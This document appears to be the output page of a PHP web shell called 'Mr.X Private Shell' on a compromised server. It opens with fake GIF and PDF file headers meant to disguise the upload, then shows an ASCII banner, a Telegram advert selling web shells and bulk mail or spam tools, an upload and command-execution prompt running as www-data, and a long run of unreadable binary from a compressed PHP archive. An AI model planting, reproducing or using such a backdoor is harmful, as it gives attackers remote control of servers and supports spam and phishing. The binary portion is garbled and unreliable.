GIF89; GIF89; %PDF- %PDF- Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.129: ~ $
PK!�Jnnxd2usa/3rv84.php.php.tar.gznu�[�����ks#I���5f��؜��x?�k�& �$PU�%��@"�L<{�lv�V:��3�t2���tҙ�VҮv4����~��#�/��;;5�E$2"<<<<<<<<<6�Do�[z�,yzȌ���3eif��W�!ύ�p,I�Ƒ���Qi��W��?:�'~���P$M�����p"
S�W��ֲ�H��?E]��y���/AC���S%�g�%#�������ڀ�t0B}C���MS�+Pʌ�&��D�(�eƜ0�����Y+3Q��‰BP]���LK`�.�Bg�3^�rxf�K�8[1���1x��,���(.8�I`���d���Y	�3{��TH�B��H�V
��?Q�~�f>�)�N�Hϙ
��<�dif���/?����"�mX%8�iv��Y��dy|��y>8�?�]��H�
�?J
	��k@mP�-��+r�4���k"3f� 'p��[���/��g����
 ?|s�g�0�gVR_C�W�f�tƃ��%�Hk�0</n�$V�K
Ee��I�8��,Q���VbV�;�q���*�
���@_�w
z��"?d$�Zfi4PS���s�~���X.��W��ّ�4����'�t;z9��'y)��4����D@�f,�2�k�}B�x�d9�f`.@S�=�:!�oF��j�������Q00��w�z_煳Ϟ+8T��'�]�`��â�*
Q2��)/�:�zv�M�
#=���()^#�w�=�zE��5Ja�<a���H�lC����{Av
���,�S�	�|���@��l.�.�a-0U��Ab
�!���2�F!�!,�a�1|��/�|��?~��/������g� ��^\S�Z}�2�"5=��@�p25�$������a-�`d�{�{�_|�W� ����_��_�����;���xU}�[��o@��k���_��_P_����/��^T<}�������?|��q"�P0�X�`*�����/�k͸
`
���!�;�;��-��?���߂���P䟩|�
����7�]�F,�����(�k�~����
����=�_a��\��Y������EAy��w�������8J���; �v��|��4�H(�טe�֍��e��I�C�X�;���P���D��%��ߓ�S�dl�w0I�
<���`�T8��Ԫ��4�����-��{����*Y-aV�:�(LyN��×��4��(I`�G��%��EPa�~����5�~��*����W�����Ծ�x�ȬZ,�p%����GP��1�|��X�:4;����!p5�:m��_���L��#)P��fX����_@�0,�F�H���?�G���
��%���J�W�JX��%������B�$@)<4�d�`ވKV^�
���k�̀>z������V����|��A��@†ܡ^�|�������-J_���3
$,�2�U��A�;�S�����g����^!���G,At� �t4� ��s��������~���7R��DE�,�_p�$jr\.ы2i��oUijj�:�ZpF�4��|A�I����՚���V�г�P��Ue��L�����
�a���̸�~�!ErBl��{
V��P���I>ԑ׼.G�09�,��?��Pq�5�#���e����3bT��
�2�>:5��h��:�3���4]�w�Dr��@^4Q"؞�[ܗ�7hbRq)�=)q�k�1ZzfP�F]Ԃ�C��P@�Ƌ
8h��#��_�3�H꬇K<���
G�>FFS濂�%��[]oI@�5��ߣ�
��Bb�����߃.�-�d�ݕ6��+]��^g���,N��Ґ7,�G����2 K�D�/S�`�����o�hI0��z���q#�%%�鶱�g� �ݩD�?��i��J� $�J`�`�椱�����т�&�2��q2X3�	��h&zu�y��2hhf@>@�1�P���F��>ߕ-���C��'��>]�KXP�g�b�H��zX��Hk�ĝ?	�Y/<j-+.9f`1Z������Ulv���L�|�Q�)sF������K㻽앵Y���
��4��G�v
��|T��.O>���sA���� OKf?��y7,��"�:�K���8��A��~w��K��	�ˬZ�<�+�:��2c��Օ+~�p�>A�1;a�|�֔�8����(�O��B�
d���|�I*� 5�Y���A)�i�A*�Ɲ�ʠ���ˀ
c�{�s�r ��0�G�wx>�Ҝ�#�=	1���%�R1US�6�k���ל�$���č�f��x9A��򒊆�S�"㎽��k��Z�KʃA�Y(�+q.�6d�h�@��.�&a�j:aW�C4%@ͅ\��4�	/��@��<=�%"�8,�rL�H�SI\j��*UjC�49Ey�.��/�P�g	��']��P�k4Nj2`�'X�)�k�L0MS7��o���}t0�qp�`�.��SL"	�H��u�&�9�\#���p,��y��e�:��B���
��:S�ke�V((-���<��ᅯNk���[\�D�AZs�`1�L��)�2�v(�$�(]Kՙ����h�o<�9���<As�NJ�Jw{,U�s�DtI��2�b�𭦎;���$��?���̧��%c��/�d��_5«M�F�Z)~��&3$�Tl�	�aPsƵz��}`] [g(M��E�`,���Jh=��U���}N�$����b��d,y�z*��V~�r�M%b��
uT�_!��`H�.V�,��"ff�l}E�u�H��.%Fګ�+7�&𯿦�j��.�z���M�s������Z�^�f�E(=A^��h��ʔK��h��'u�"��`����2�3��PIeF3ʒ�bd �a~���<R`t� zz�+{N��uV"
(yX_�X����%
h$�:�1C�CЮ���g��>?SD��~��M���zif���3�{�K'6�&̼(�'L����RA��O=&}N�M�a��8<@Q�(o3:R`xj�6euE"������%���mp�)��Js5n3�V�v;��T��dd )h�6���ޠ��}ubaV
!��$���F�j��ɝb�}Qֲ�Tx�5�\7�y�������"������z���v��ԭ��}��*�F��3�|29���T���|���)ȿ��)X�(#�l��@��G�������3o��g?�\}��EeY��NRPM�E3
ư��u���/̭κn���$j	z��9�@���$ ��\@5��+��hCbd�����\�����?���fC����,�i4�g���RUנ�t�
�����DJ��F;m�`}֧2��DC�9��H΅��Xj˱cV��X�>���t{�s���k&����%i�������!-��v�>�h{~�MƼ�jH�d��%�"�^�S�mZ6��&fell��Z���p���>�O���@)H@u\±���1�^��:��lpr7��t�k��+\s��o���G�`d@m�7$�u҅E�T��29%�w�������-��}kN��&(tYިߦX듡ì��ph>Ϋv��4R-���'1��2�^<',�RΆ]�;Y�����Y$z�����C��*�г��s�0��sI���Ao��^��Th��B>*���0��тU��^���������Q_�Z����r(�܈�:�%�V�!ҹ��Q]��<S}-v
t&ɹ�����0�I��h�)֘J^�#��9NΡ�A�;c30�i��-h��&�_&fĨ"�XE~�@�	�mz���^�eب&�XM�RjP+n�:�_��a�sot�� ng�С�MP��Ni��nlV2�G0q�
�ּ�l�8]x,�ז?���D~k;܊�`Q�00�H�����C��K�m
��4P���(N�W6?|��GK�R�����Nmt̩Ѩ����ď�c���X���Q����+�Z��\���j�*M��X]��yz��:�]��ڴ��������@:`j4�$���O���{@�!��!v�!L5�+�
�3��V���oE8|�5_P|X�Cc�"l}�t�
��)����@�"� X�z��+a-���HY`iд>R���
�u]�{�0�W+�R�#�=yt5���]3oa��0�ܐ.���i��TH�4���'i�.S��$�U��gVJq[-���,a�hC����I�A��,��–����=G�� ��%�~F�i�ԗ�x�זυ$3��z��\�^8y%�D�b�w	�_�F�� 4p�/�Z�(}�t��ٯXt�w#���A����g�����E��(@"���M��S��{I�"ha߁Bg�Jg��&Q�
��
SevIA����$�pI�	��g^���n�"+mj�{j	����&
Tq[:�u&Y	����x�NX��&++���q��`���ǣ	K����~)����@#������j��Z���&�9�K��/ꌮ@�h:Q�P���
�<�p�u� O[a��|i)绢q�衛Apc������:� �U�j����sln� �d]��9N�Q�*���X�`�m��yQ�w�p(3,!�X��
+�:2V��2ߘ
J�<8����@��|-��Uux��}czw2�S ��_��:lu�ț�����;�
�=�H]]��� c��l&e(��1RXM�c�\!��x��r��d^$j�x��@���g>��L��$����@�o~C�ߠK4�r�J!K��D�lBO��"�}v�h�4��1�t��I-��5���W�)�	kT��U��0�#=P_��
��#<������'AT ���7)�T����uR���P�e+��=b,��*���h|���OSB&|�?0l������P�l,�'Q�{�f�sH<����W6�6MU����`�{�#�u E
�!��N��s
��	�-���ʊd�
P�֍�ES7;�u`^�`Y�1*���4#�d��>Dt/������>�,��N��vɵ������W�u�Mf�[`��Y��]bd�4�5�OY%p��N"���$�.���(�yP�M���GCHF!U���j&����{ �AOCJĴC.�9�p�pC=�W��#�f�=x�B��F�d���G�D�{�W�����B]���hi�1��͇s�����)���uQ踋Z0�
���V4�a���{�v��s	�	z�q�w4q�q�g�R#1�l�m�/U+0T���d��*n��?���;����3s���d��8�e�rF1p���!�c��S�#z
�jg <�CECϜ����͂�f��GQ�Gϧ��|���3�� �����)��5͠g�L?�B�E[��p
|��ٵ�1k�e̞T>Bb���.�����.i}R]���i-�H�Z&�I���6�U�^X+Y/N�Dw�w��F�w4�0x��k�������s�&����H�kez��-�|��O$��l�:�I3���s�OvƳR4�6x=��� ;dZFX3݊�'�n(8,4����:Nj�	���ٽ€
T���2��|,M�KX��Iy��l�kn:[j����:�k݁���uаT�3�r�q&���S�����i�/�=m<��b.�0��=^�@���-�{����e5*�xfU��ܭ44a8-�9/���'�c2�Y��
i�Ѻ��u3儇���[��I��A���r,4<�|B�'�15R-�!�kǚfj�Z%j
Y�m�����+TM�W��*�x�y.�[����O���Q���Ҭy�çTDĭY�$}�R��z��hi |�=�K�x9���Ϙ����9YÌ������6���Z�<#�Xً�C�JuZ�8/��s�	�M� G�5ϫY�#"��~mgg���5�ᑁu>fy�/h�zvE}(�X��(!�|o(�K
|-+WU�]*�x0x����‰��+�
Ч�`�Z��%�>��-�{�T�?ů���zir��2��6K�C^�xt�X��UxPUG�jk^�Y�V�w�o�R�qG��*�s繰^�e(ˏe�x�;�z��XA�Z�{�#T�D+�N���Z�����	���8v�c��[�l��V���'�Z��xIKb|��@#���H��(�$|�(�Tgb�#>f�V��b�CUꝆ��T/[��^áC��{>�@��������`�V��s8��X�Q�[���V��+�F���-N��i٠�?A��T����C]�Cє��sE�LZx	b\��upa���%��\�,ŵ�f���k>�:-��v;��J���b����q��O}��g�CP-��<j!�o�3�䮵TŐ�efcYEZ
2�N��(�=�_,/�O7�@D=~�۳�v>�n����z�~���c�mzc�0�DGg����GD!�s�E�LBH���ޏO�����K0myTC�,G_a��#�x�
�p��懇��T�� ��G�{\.���`����T�8��ih���P{���ˣmρ��(�ڿa#����+2oa;x�MV_�
e�M�<�`Q��d߯�J&,��;E�`�9��cGk��]�q�$!MS0��G���3f9��1���V�g���Q3ֲ²�Nl��?�5�Jk4���hPԑa縩��=�M
�nj��Ia!w�Y
�N�_��R!��Y�w&_GM���
�n���eB��OJ��c�!c�"���pd������������L@Ǎ+�k�."��Q?��o�^~6�#	d�±�^#�v4���K8�Lh3'���IR�E�P���Vm����'�A�����u��H������u0慯�h&.�'Y�%LeO�H&��J�BP��U��֛N��qIEV�+�A	�C�i!ڜ@"�#��Kj��:���]x*�R�+����3���7� pF�/���	.;�1+]X��$�<E��Z�W�<��X�-!*`3A��1'Bֹx�����j��4�>V+��Z�!r+�����bv��n���%�{Ci\��J�^aF	p�\��
U�S1~���؝����m�w�S�5���+�s�n1��ҕ����h���V�Sj��I4�h�E�(�P� �'�D���c�H����=#����W�}l��:���ϽՈN���|�`���&�L��|
�����D�\�G�R�vh.�B�Nw�ܞr1�f��ۊ�!I���r���ѽ�ݏ��l��G'�8�<`��”��yl���e|�Owi:9�Ԕ�_iT��ђN�בy_w��8s��2��΋�pd���*��nI��n�6��p��0E����n�OV�4=�"���CB�GC�I:��nǏ�cO�SB1�N�?��N�B�'K�������fw[��s><�����02]*��Te"��▩d���w�q@�x���b��ww7�U�D��3��i�r4�US �b����/h��οN>̖�ǝӘOn'��jJ�r2�T�d��Ǻ�H�n����smZ��%��(_��u���A#�H��8�w):�V��H>��vD��z�
�sq�h��U� �8f��W��j{��?$��\���CD�C*���L��cR��(�^*>����b6���{��z��`��Qi7��se��V�!����wb���]�).z��iuK3q�w�u-�=�����ms���u���O6��+
��Ճq���ꛁЊ�o�l��Fn�J�W�c����7�n��M��._l��b7R�ϛ���助n�(��Uy���q�<��I��F��:|3Rl����Ro�	���ӭ��L(��a�Znӓ�������t�WkΦ�ź���M�T��V"�������C���6���-N�J��՟{�]|<c"->���������:��S�R�ek�	�fss�o��P82��0Fz��lv��T��]=����j=�d��M�Ŭf�n�]��ܶ�e����]~�܄���V�y=�Ef�X<��/(�l^Z�[���g�Ս���t:�d�l�6BT�+ˠ�M}�:��6q�s�́}�M�С顸�f���v݌U���nlU��wʘ�,g����;<sqc���������F����L��]?�AO��2+{�p�^ϐ���ݞi
���؂a���`��w<3d�����C��z�̴K'���/yL��`������s��
�7xm5h��-2
��zwi'�m���`�ϧ�F�c����Ţǫ9Vj��S��zȶ
���}��i86�)j'���H���<λk`-�u"�Wբ�.Zp�i�;�O��;��#;�uC��hɠ��&L.=A�%4��y�O�]�w[@@E�T�u�`q�A�[�W
\�X��7��bm��jήI��
�^k��ܤ���r�"Q8�k;I-��V�g��5`��A�SETr�"�yɉ}_\<]t�!ʡ�S�L�������c��bK4�Ƣ�N
E@�3�5�	׫+a� ��5r.������_x�pQoH/!��
����
f�KUk��������|�	�q
"���4B\=����
��{�ۥ��
�>�r������mz6,k��y,u�d���)�1c����_&�%M��z�Q^��I� ���~p�RIU�q;{�:�h��l�2�B��,���iUE�\W�1�bs
4
��Ԓ=#P[����%Q0tB
KD�� ���o�ŀ����8I�*b�g�:��H�Pڪ�R]<��a�]��G��m���Nz�P���	�++}�b�-
~��>��Atq�Ϳ��p��gz[��;K��l Ì`��
b�:��X����?!�T�]�VK�X���:�@Щ��å����J�h�a��*������>�hxjI�NӂI���_}�DnM�ǴU����0�1���(P>�i���x�D�����Iה	k���a��-<
׊"
�S��{4A�SP��G�]��A��ܽP�k�r����N������Nv�Cd��&5"s9��͂����`	�ΦM��63��<ɻ{��&�7��m�6�C.������&+a�a4n����$8'��kd57��д,=��p�6���ݸ�Ȧ���'��!I��ce[[�
g-ȔƠ�^��d{u��.#:���yG����hu�Qh���pZ����c0��?BV�jQ���/c�3BM(d���mGz;;;t6���ѐf�~�OԘ�8a���4��9	��p����ƚ�
&!5Cߖ'��,{~�a�(���IuCަ���Bu�o3�Y�%2^��G`(ˏ9
4:����3t�����jǃ�іf����i�JSVsܑ.�b���/R;t���s9*8�J��gB^�pv*GR��_��TU6��i�t΃,A�܀���`u���(�W��>;'�š9�4���UӞ�3Jf��4q@�ʼ�D�Ԋ˜*��YV���+�i��m����&��r�Ô�A���2���I��1��d�!��a1; =	��g�lu
���z~�	.�q���?$�+鑠��tB�S�d4��gby��4r���S�����Ș���óMo����˺�b�~���</��!�r0�꒞9[+���Eixr�p���i�3g[n��2cvÍ��n~s0j��<bx6�!!+�v����G�P�Iɡ
��x�����kEfm	O���rf"�|Ϟ:mC��d�3�h������.�^�ЕHXcP5
mk�̪7`�/��Ī�ʴA.��P�څ)�gy��mTc.��_ds}��4�QDC<�/^?���5U�W��#�a�V/�x�*�Ն��~��ʣ�y��j��d�#�x�b�)��c�]�Ȁ�vzZ#i�	I��3�<Gi�"⤲;N�VzC�[Do"���N�j(�Ma��E_&
�ܸ$�F'���8UC`����~��x��5��2�)ӏ�ŵ�֬f�G�s���(<~��e/pE�z���4k�a�Nޛ#;q�s�cS������B6T�?bd�����v�L'��X�׬ʢ]�t}.�"����&�41�'/?�b@��nH�,�R�qf�~����Ѧf���	��bf7K�d�#���h.���,qޚD��p�8ǧ�-���G�r�	�+��=�Ope�B���� ����wGT�l����6|�z�H��k�T��Y���=e���JΒ%�%��L����D�A�ZF�����vc���B���1�+��+{�����~��	����v�:
I��5 ��oײB��l��AG�W+}r
̓O.����p&�\{�0�jT�W
Ū"zX�r��(57���
ܻgʕR��dn��*�����X��^�3��B�Jdrw�&^����%��d<SnVl7��l-�|�N�|�\Q-�J��в
�+�l�-7��P~�E�KQA���6o
l��ڭ��ء��*�VC|�}r�����9)R��	"?��)(�
�8�ʨ�;W�ڕR�n���AƬ!��a~�R�8
����eO
�S��s��+����o�e#i��>�D��,���X=u�t�m4�#=���›,6�����]�C�x(tE�3�^I�t1�'�x���".�Wll���Я_
'lj����9=��	��3�c
���J��bhM9�b�8né�!�8�ƒ�>m�Z��Fn�sw`V�B;�0즒9{�8��J<tB�4׍,Yj͠ ���A��ٵs��J��G�QoG,�I�hЅ�=\�	y8~	H�A�,h4���t�8K\���,@廭Z���m[�r��	P�� 
^��s�R�Vk<��l�Ҩ�xl.�W�v�WlUJ}�G��	E���IEn���J�NjU�X*�`��i�*v��z����Aр�z�$����,o������H�(�yf�W^Y�2�>�u�����?��������8�a���#g���C@���F�C�k���7'VK���B��W^d�Z��W�y��C2�Z��5hג�h�҉�hU�Ι�u����V��Y���z�w	Hl~��R�3x�>c�4xml��� ���@���m=�zV�e�,9~�	y�<;(v/u�)�R���@�s�����!;b����q�%��6,|�p��=�w�_(�H��W��"�y%Ռ�]��0�3q�JD�B!����4�e��O�	*3�Q�T�Fc�cU�R�ח����jQ��/�4�ӢN�8��	�E}���r���!�+c�҂�}��v�S?�E�b�c�ކվ1"��Xx	���"q��\F��S�!�'�U��]l��"��yT��کRՃ�+������+��(r.�����/��b�lD(z��B��,�F�7��		�WEB
�8�XE�(<Dk�	�x��R���ℨ�����H_"5�*
�9�R��UƗN���ь����Ҩ�����-�T�'/�%������7q��ʼT8��1�[�Ǡ�;�:�0�th�C��@]N��Z�E��3k�t/*���X���~�ii�R�[����F''):=�'N;���L9F��0�����B�&�F�a������Wz��Ui�F7�|;�e����κ�J�6�Ų�E��\i.�mq
V]�^wTl���b9�M�l�1�w�^Q.T�j$;YT�jc�hT8YJ��s&ͤ�a���׬��G��$���څz����=w+l��v�N9�6��J�z{����a�/�].{?���RE��l��[��峅lg����7�~n��Q��/fG�Т3��+�n��K��%�,���2?�d�t�P�Gj�l)�d�Ya�v�����'��ܐ�{Y&��v��?Mf�����*eK�m6�Z�S�x�>U���m/2�dk�h���(f�lvz޷�Jw�Ͷ���Je_�e+�([N�T��^�gБ�尒Z���V�4��û\x�X����b�X�5#���l�Ȯ��rP�Ts�,=M�����R�f:����]�!��F]LD
|JIH�2����{|�F�hn��(7�Z�(��dN�)�s�ON[��t=O��@��7kݬ��]�ob����lQ�q�Ϫ���?Z=N&qa�������}?	�jI�R�?�K7���t+B�jwt�Wng��(.�o�ڨF��qh_+���؍���Q?^\��`
��V��Q�mҋ�����;����eџ}\�j�l���G�Q�ᦓ�mF��}59L�t��iaZ�
�Q:J�S4�e��`�����>.��ߩ��&�Ҫ�sU)�+ӝ\9��f�\n|���ݴ.��w�|s�����������M�+��1�M����r-��tF��z�?�
��@�f��d�Z����Vn��v���˖8���������J��u�/�r�V��X����+���R�r3��G�J|ޕ׫b0�~�ٗ7�ю����N�[��
kf-���8�47��RL=����Hj2��mDd'����>"����h�mL���}qXȮwr=/w�r~P��EN����y�{��1!�O�w�m�=�>f�~q�L��x�]��=��vu:��7Cűx[�.
��M�v_�<ס[Il�G�~^��³J-�PS��.������w��䲙],w�R�]Tnˡe�]�/��j��"%0��z�;,�@H���B`;�x�~Q�7g)^�
��Ӊu��+���3�/6��xs�/���`�JD{M � �L᫛n���Vx9���ඝx���Ny9}d��+�?�g7c�o���cHެZ~�1�����l�P��fB5�����`�G�U�S�B1y�7��Í�l��B���z�g�[�J��j~ի�m�Wދ�^u��z����K�k�������bл�ϟ�B�Vzϫp3�v#쪑�n���87��M|@��Q�nJV��T����]���
��T�<��� <�<o��z�q�J�>݊$�C�)ƛ�z�.���Fw0O��ⳝ�v�L�ZeS�D5:�l�leUN�C��b7������Ԯ*���D�t�u�aåuXHN���.$
���� F7r���M�(3��v��}G
K\�It��P)���ʟ�R��01a�aT��v����Ċ��JӲ��.r�|w�MS�No7<lǵ�d��
��z������c��n��Ŕ������,�w�X$Z�������aW��j����*�Ov
��.�;0�zx�/�]�P�~v�o&J$ǰ%QV��Ⱥܻ��-f�kEڭg=1����j,�E`B|XZ+�Ĩ�J�E(!	�@�&;E^F�����x��ZYF"���П�%����͠�^�:�	���A�Y?��Q��/V
%�V��}4ZJ�W�ȸ��#���2��UA�B�1��B)��G��WY߶c�Zm5��V�p�D+�U�v�l)�<����p�������㫤8	�mH�/هN����4��V|\��q﮼�H7�fȟ$��>=��K�Ҙ�*�^�y3�%w#z��;찍F�5��G��S��6�uR����K�P������P3/L���`۸�v˹�m-�Y�*C� 
faùy5o�z�y��L׏9�]��}Sj�D��yc1��
@L��Pv<�/˵m4vw{�����},��JS&�)?�'�h�~��:���])�]7���j�-�����}]�����}����]�Ǎ����m�5�y]_��B����Ml��z�Ҽ޲�Mc�i�V;fU�U��j��Tf��mg�le��s�����yA�ߌn�
G��J�)�G�Y��ZL�;����m9U\,v�_k<�gyv����
��xyxfK�U�R��;��~���v�gq�4"�J�/�}b�φ5��!QS�)�oNn�d�)e{�����+�bx/���1ߋ0�/TF�M=9��ʺY�6M+E�Ҏ
��UP��C����b\��v�X��v�R56x�=oS��s����:��ҋ��Z���4�%s{��S�%)�Uz��Ci�nFax�	O����sYh�RY�f�a)>�M�S1z3�˱�f/���v������r�L�C��ć������2V���C�q�AiD�����ԫ�ur����A�׸Ԁ���P�>�^��[]?ߌ$��Xy�y��LIn�d�q��<D�N�v�(�l�W?{��r�O�G�����A�#no�����C7�m"N
�p+ھ���t_J�F����W��x�ק��|p(Ǹ��u#,��m����Č�]RjoB�t��a4�EV��ʴVJg�Q�}~�褶��x��T+-O
�m���ۛzw� 0�~���L���~���	��G˅�(
���}#�~�xә��4$Ѧ�i<�Wc��>��vz����9�x�D��
1E��;��jkF���֬	��a4�Z��Tr����֐+l�o&�Đ����㤤y�M�y��<���s$�I�&�bAi��B�?�݇7�h}��ޤ��7�4����Qyֿ��ex�Mr}?����B(	����h-���f*�8�X�-�ץ]3��{���[�`���
z���iV�&v�M$5��f	��qz��%C��F�>NF�]t#�S�+U�I�td�'�N�:I.v�΂N��.�jc����r����}*K'��U�ͺg�X�w��+AF��a�f\���d��n�w3�-g�
�b�Q���>���D�n�U(Mҏ�;�}��Ŋ�V��N�S�f�Y�~Ο����X���������e{�<ך5���r���r�%��?g��r�0�<ܳ@��&�d���6Q�V��i�%���P�G�,M?�)�]W��c��u�����aXa�oE�t=:�K%0��~s'g+ջ��?������?�2�}yR6�N��-f�z�aP�M��v*ʮWw�R|���p?H&"��׽�U�M0�3�nj�_Ɖݜ�oV�Xz/���cn��x�3yxn�J�X˖j�m{X��Ə��Z��yҿY�Z�rz�o�u��X��`����f���<��b�;���v�㔪��n��>�oDo�E��/<l婿���z����fW�=G&��(R	g�B��jM��^��,Ya�L2�dL�D����M���/���sM�����yH����,WF!Z�<�����]�[\W�f���B˻P�>ō'�,�"�ζ�0�� ��Y?�؋�����>�S�1���
-���|��tv�H��E։"_�,���2�G��5��'�~���l���=�g{�����!?�C~���l���=�g{�����ҙ��Es<�Z����C���4s\Y��.�8�e+ː�ȋ�V��-���q(���r_<,J\�_n�}ywW+�J��~�K$�	M�BA�ӻt���Xb|/,�?�NF�i��$��=Xa��J�&K���:�>̗`
��O$����4�,���C,lnҡ�so0��h)U�4*w�>��wm�nһ��Jl�ڕFe@�^>[/�W@3����;f�6���n(���v�W�
S�\go��"%݊e��Ro4J��'��~��7�h����ϫv#�E#���������F� �Q�T)f���L��=��$/����n�N��x�]t��<�����ps�n��t����'w=9�c���"T6��)]�Eo��tlZ/��c�ɤ�{�H�ϴ�7���y9+�+���n2��M$V�
K���0+v��f�,�Jqa]�U�ei;��o��X���mB�n�-n^����ۈ�J�����!>\�C���9�������t:k��쐽�/��&�,�uo|%=x�C7�".��۞��w�?���g��CEL�鴵������q��Cv_���J�*�������Q-u�d���џgk����:�Q�%����s���唲z�hvX��\B1��lT�q�W���t��{)~�(W��\j�H#�����!���#�=�li��7�h=�������H��o䈰sV]Fj�G���U<K�g�+����6[��%�)tW�&��!�����DV8t�0���^Vr��p���{�}�|`ƒ�P�М��9:]�o��,�w��P���ղ<�e��?^܌'���ڋ�HrH%[�ڠFG��}��.��q�1V��e��MW�Yx�Wh��H��Tz?▃1�nn�R��^�s�t/g£��p(��tj���Ԥ��"�\,����ƸW9�����x�����{@��󊫌V~Z暫�r%+�^>���u��I�wB�u��V�Tm\�˽��3�L�����է�T~tH2�Ԧ�Oהn�y�]b~)��S2��j�qt�K>�'�:C�҃�hr����a�+r�z���2����:��Pk����8)+Ҭ����lN�s�pU�(�vXX%��mJ�^��z�K��4����Ѝҡ�|{Qy�MT��^��f~�%w�`�]�c�+��:-������o�`�TEF��c��p��#��8R���ܠ��������[��Њ�F<�F��U,u���|Y}�����n�-���*;����A}^kl�鴷����L7��4[��܌�Z��`ݙ�D�|?�x��Ԧwy��,�H3��uu�")�yl�^�-�m��+�����*��x��粡�j����N�ݯ��:%ܬ�Cb�/ϥ���ش�r�����7�zZy���¼�-��쬼�<Z�U��2�m!����ȡ(֒�u�y�]��J�nӔJ���Õ�f��8�5�1[=0s�_in�<h��G)$ײ�n�Ѫ��J�S_���s%�$�нU�%��.��Hh��Vm���yȋ�����~��|�2���j‹�rɳE+F�~��Ss�]�<M�H��2� ���}k�^�|u���8�P}|�M�,4"�
�t��ի:���*�px��P֍fh�t����v&P;W�xhq���J�W�|8�g��iq�Gz��ā�g^ZÀ_�~fP��M
On���Y�ך�"��Q$s��mz{��z�[ţ�.H4�%�h��؂L�ؾ�2(�2z�y�H����-���p�/�aᘳډ=5�&Jx!��[�Z�X]ԅU�jCơ���h4Ky������!5M��̦,P<+tJ���":�H�t�v~��x��z|��54֋��=+n��%�WO�#8�z
�;f�R)v���B^�7O���@��-:��� ������"=k�D�!���6�$àJ*�(�`^zu[!8N�HP���2+�� 
���T9��/kx��W���rB�I*�
h�YsJ
f�%IJkT`Cb��2+�n4�'D���04��;"�˹��=�5��O��za���o�~FL��⧕�q8��ǰ_�W!g���с�ޚ�bd����-��u��&��pH|�*�]�L��0������:1_RzX�j��xq�0Ե�f�x�_[�fp�"R:%�ƉYN
�mR�2-��I=buvJ�m2N���U��Uc2E�Ӵ��)������R����z�=j�{�2��9�@��A��O���vm��X�嶡�&�c	�{��ġs�m��9�nk��#H��3�p:fDxU�L�W_�_���m: ���+�n�Z.!�ѕG�bD�} ��>�t�}@DO�,Z��f��)�[���������P�ra4�xQ_c���8�qOZ��Wp���X��F��8]0����������L﯏/��f���)��*���(��L�;4�w8ck]�^���a��fX'y��ւ�ה�����j�mE�ѳf2����*0�FfQxKGE�
kV��r��5�X�b�a��Kik�;î�ij�w/2|f)����	 �f�
z������ ��z}��v�-pF���-�4�h���b�c �b�Q{	T���TH�~��z�>���zo��^�NTDh	*T�xV[��G��R�"�rm�tj���b&�Q�%���3E4��?W3k�74��bj�)8�v�	�[�`�̊j����
ӕjctI2],x��u���w�~[����ɎJ,cEa�b�g� ��**�o3a�_J�P��ѣr�G0rA�0	�%k�I@�W�v�Gv\����<WxL��j>z�H@
�}ά�A�a4���wB�Q��b��� u����	0ąf�W�mf�^f�.�%�-�3��ȫ{��3	������1��ޣKӊ����x���g{�A~��)?҄��k�'�6��g$:M0�7�X�h#�9�'�E��p�2pht��L����2m���-q
�& ����"Wиf������l5�B���?xಕ��L��L2�e��>M��-���A`n����%�,�o�?�qaA�Y��n�4���(ܧ�t�Ѳ�VnN&c���|�����5���D4��E�!���#ܺ�u�$Ic"���W{.�c�d���>z��S�.�����.W��|
�cU�Z%;j*H���ҥ�E1��+e<!5by�ŏ8��i��}��'�y��Us�œuY�;�]�m��v]�5-8^Ť'�A�Յ���Av�m���˄�2��i}qL�Sq�4ɹb��)�G,�C���R<��\LF-��4���MV��xI~�jdL_���52��x���,:5x��RFã�}^bT�L��[L��_�%���d@#F|o�Go
�VD.N-S$E��>K�h3&���kt��,���	�{�_5=�S����R�K1
|��"u�J�~i�ƍGe��Lba�(���(t/�E�s��>����ӏ�i�����1��焬0�^�L\3Yc��!V1��q��߈K��9�]��*�5i�bd0K��L�j3�Rf:�aǡr���N��DB�E�j�d�:����=��1�HIe��MNA9�r��S��B������ǰ�k���c��ЍI-B�~��
f?�Z]�|��w��&Y}\@���@b��;�����;��h"��U�.�1�#����0t�fpA�j�%L�i{��v{%�����,D�_gI�*�IR���\���hk�G�pO�j	�J-�<^%8�M=�AS��?Z��;� 8�Q@S�ĩW��$E�ȃ�{�L9�(�t�d&�.���xd���o�$�f8�e?�r
���T?,7�E�KKw�`��z�ѷ���5����_�7���†-�
����s'����Mž����n�!3;7�P6k�Li-0nsA�!�-a��+־Yn�7H�&<�1�9�V����S�^շ�_�}2Y
�:R��j�^6�8ڠ��ΝX�з܆���Ң@x�F��S}��d2�t��OE�<X�;HC��,�Ug�R}���^O��h��8�N��ڡ��p:�����I�Q�ƒ^@^�\���%���V������M%ZDTj�����dh��(�G�b�%�x�=W&A`�R�̈́�P���0�N �;R�A�=�U[dP7�@�=͠��t��x:Y�ؘR7c�!*e���>���)�a�q��NB�쀺������7[��a/
iu�sӺ۳m#�<��'�̯'�
2����(��l{��n���S&+��|;�Ro�Y��!���[YG��,�%tG��X��n�?���	�i�,�������
tуB�疦��!���%u�_����qG����9~\��eA�:>�m��Z	�g]��=\(� ��=�,��yQ�>! �mG�nߠm��T���(�^�j���0@�
�9R��|EX�z������\,�:I�~��F8.�H4&m���C�94P��"�ō-áU
�}e��-|==�o+��Qv�!tΠ��eU(��F"q�(��0��Z@x- v�߼P���˩�ufw�ǺB
h�z��k��F�%�H\�$V������� �Hin�zw:,�~���;����l=EYs��N����6���D���T�H��O%�^�FA]�ԗ�\AQ���:���K��T�Aˆ^�=W��-
